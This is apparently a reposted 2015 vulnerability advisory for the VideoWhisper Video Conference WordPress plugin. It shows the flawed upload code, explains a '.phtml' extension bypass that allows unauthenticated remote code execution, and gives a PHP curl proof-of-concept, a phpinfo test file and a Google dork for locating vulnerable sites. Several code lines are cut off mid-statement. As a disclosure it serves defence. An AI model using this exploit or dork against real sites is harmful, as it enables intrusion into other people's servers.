Author: Larry W. Cashdollar, @_larry0
Date: 2015-03-29
Download Site: https://wordpress.org/support/
Vendor: http://www.videowhisper.com/
Vendor Notified: 2015-03-29 won’t fix, http://www.videowhisper.com/
Vendor Contact: http://www.videowhisper.com/
Description: VideoWhisper Video Conference is a modern web based multiple way video chat and real time file sharing tool. Read more on WordPress Video Conference plugin home page.
Vulnerability:
./videowhisper-video-
*Update* You can directly execute php by uploading file extension ending in .phtml or .rhtml as long as the extension isn't defined in the
apache mime.types.
Allows various remote unauthenticated file uploads, among the file types is html where the last 4 characters are only being checked in a
file name to match which types are allowed. Because of this .phtml can be passed through and remote code execution allowed.
The code does not do any user access validation and therefore anyone can upload the following files to an unsuspecting wordpress site:
.shtml,swf,.zip,.rar,.jpg,
The if (strstr($filename,'.php')) exit; can be by passed by using the extension .pht.
<?php
if ($_GET["room"]) $room=$_GET["room"];
if ($_POST["room"]) $room=$_POST["room"];
$filename=$_FILES['vw_file']['
include_once("incsan.php");
sanV($room);
if (!$room) exit;
sanV($filename);
if (!$filename) exit;
if (strstr($filename,'.php')) exit;
//do not allow uploads to other folders
if ( strstr($room,"/") || strstr($room,"..") ) exit;
if ( strstr($filename,"/") || strstr($filename,"..") ) exit;
$destination="uploads/".$room.
if ($_GET["slides"]) $destination .= "slides/";
$ext=strtolower(substr($
$allowed=array(".swf",".zip","
if (in_array($ext,$allowed)) move_uploaded_file($_FILES['
?>loadstatus=1
CVEID:
OSVDB:
Exploit Code:
<?php
$uploadfile="upexp.phtml";
$ch =
curl_init("http://target_site/
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
array('vw_file'=>"@$
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";
?>
upexp.phtml
<?php
phpinfo();
?>
The executeable should be located in wordpress/wp-content/plugins/
Google dork: inurl:/wp-content/plugins/
Komentarų nėra:
Rašyti komentarą